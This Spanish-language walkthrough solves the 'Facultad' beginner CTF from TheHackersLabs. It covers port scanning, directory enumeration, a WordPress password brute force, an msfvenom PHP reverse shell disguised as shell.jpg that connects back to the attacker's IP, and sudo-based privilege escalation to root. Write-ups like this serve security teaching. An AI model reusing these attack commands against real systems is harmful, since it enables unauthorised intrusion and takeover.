Resolución del CTF FACULTAD
💢CTF DISPONIBLE EN TheHackersLabs💢
❌Nombre: FACULTAD
📈Nivel: Principiante
💻OS: Linux
💢Caregoría: Seguridad Ofensiva
🙋🏽♂️Creador: Beafn28
https://thehackerslabs.com/facultad/
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para saber cuáles están activos.
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- -sC : Realiz una escaneo con los scripts basicos de reconocimiento
- -sV : Realiza un escaneo en buqueda de los servicios
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.

- Resultados:
- El sistema estaba activo y respondía rápidamente.
- Había tres puertos abiertos:
- Puerto 22 (SSH): Utilizado para conexiones seguras a través de la red. El servicio era
OpenSSH 9.2p1 Debian 2+deb12u3
. - Puerto 80 (HTTP): Utilizado para servir páginas web. El servicio era
Apache httpd 2.4.62
. - Puerto 3306 (MySQL): Utilizado para la base de datos. El servicio era
MariaDB 5.5.5-10.11.6
.
- Puerto 22 (SSH): Utilizado para conexiones seguras a través de la red. El servicio era
- La dirección MAC correspondía a una máquina virtual de Oracle VirtualBox.
- El sistema operativo detectado era Linux.

Explorando el Servidor Web: ¿Qué hay en la página?
Una vez que supe que había un servidor web, quise explorarlo más a fondo. Para ello, usé feroxbuster, una herramienta que busca archivos y directorios ocultos en la página web. Es como si estuviera revisando todas las habitaciones de una casa para ver qué hay en cada una.
- Comando utilizado:
feroxbuster --url http://192.168.18.234 --w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
- Parámetros explicados:
--url
: La URL del servidor web que estoy analizando.--w
: La ruta de la lista de palabras queferoxbuster
usará para buscar archivos y directorios.-x
: Las extensiones de archivo que quiero buscar (en este caso,php
,html
ytxt
).
- Parámetros explicados:

- Resultados:
- Varios archivos relacionados con imágenes, estilos y scripts de la página web.
- Un directorio interesante llamado
/education
, que parecía ser una sección del sitio web.
Extracción de Información: ¿Qué más podemos encontrar?
Encontré una imagen llamada facultad.jpg
en el directorio /images
. Usé steghide para extraer información oculta en la imagen.

- Comando utilizado:
steghide extract -sf facultad.jpg
- Parámetros explicados:
extract
: Indica que quiero extraer información oculta.-sf
: Especifica el archivo de entrada (facultad.jpg
).
- Parámetros explicados:
- Resultados:
- Encontré un archivo oculto llamado
mensaje.txt
con un mensaje personal.
- Encontré un archivo oculto llamado

3. Enumerando WordPress: ¿Qué plugins y usuarios están activos?
Saber que el sitio web utilizaba WordPress me dio una pista sobre dónde buscar vulnerabilidades. Usé wpscan, una herramienta específica para analizar sitios web de WordPress.
- Comando utilizado:
wpscan --url http://192.168.18.234/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
- Parámetros explicados:
--url
: La URL del sitio web de WordPress.--passwords
: La ruta de la lista de contraseñas quewpscan
usará para intentar acceder.--usernames
: El nombre de usuario que estoy probando.
- Parámetros explicados:

- Se encontró una combinación válida de usuario y contraseña:
facultad
yasdfghjkl
**Generando una Reverse Shell:
Con las credenciales obtenidas, generé una reverse shell para obtener acceso al servidor. Usé msfvenom para crear un payload de reverse shell en PHP.

- Comando utilizado:
msfvenom -p php/reverse_php LHOST=192.168.18.252 LPORT=4444 -f raw >> shell.jpg
- Parámetros explicados:
-p php/reverse_php
: Especifica el payload de reverse shell en PHP.LHOST=192.168.18.252
: La dirección IP de mi máquina atacante.LPORT=4444
: El puerto en el que escucharé la conexión entrante.-f raw
: Formato del payload.>> shell.jpg
: Guarda el payload en un archivo llamadoshell.jpg
.
- Parámetros explicados:


- Resultados:
- Recibí una conexión entrante desde el servidor, lo que me dio acceso como el usuario
www-data
.
- Recibí una conexión entrante desde el servidor, lo que me dio acceso como el usuario
Escalada de Privilegios: ¿Podemos convertirnos en administradores?
Aunque ya tenía acceso al sistema, el usuario www-data
no tenía permisos de administrador. Para escalar privilegios, necesitaba encontrar una vulnerabilidad que me permitiera ejecutar comandos con permisos de root.
- Explorando sudo: Usé el comando
sudo -l
para ver qué comandos podía ejecutar el usuariowww-data
con permisos de root.

- Resultados:
- El usuario
www-data
podía ejecutar/usr/bin/php
como el usuariogabri
sin contraseña.
- El usuario
- Explotación: Usé
sudo
para ejecutar una shell con permisos degabri
:sudo -u gabri php -r "system('/bin/bash');"

Tal y como nos decía el mensaje.txt
teníamos la contraseña en el correo de gabri, encodeada en BrainFuck

Solo teníamos que ir a cualquier herramienta online que decodee y obtener la contarseña: lapatrona2025

Conisguiendo acceder como Vivian

Escalada de Privilegios:
Usé el comando sudo para ejecutar un script con permisos de root. Ademas teniamos permisos de escritura, por lo que simplemente lo cambiamos por una bash ya que la ejecutaba root.


Conclusión
Este análisis de seguridad nos ha mostrado varias vulnerabilidades en el sistema de Facultad, incluyendo:
- Puertos y servicios expuestos que pueden ser explotados.
- Credenciales débiles en el sitio web de WordPress.
- Permisos de
sudo
mal configurados que permiten la escalada de privilegios. - Información oculta en archivos que puede ser extraída.
Para mejorar la seguridad del sistema, se recomienda:
- Mejorar la seguridad del servidor web.
- Utilizar contraseñas más fuertes.
- Restringir los permisos de ejecución de comandos críticos.
- Evitar la ejecución de scripts con permisos elevados.
Espero que este análisis detallado te haya ayudado a entender mejor las vulnerabilidades presentes y cómo se pueden corregir para mejorar la seguridad del sistema.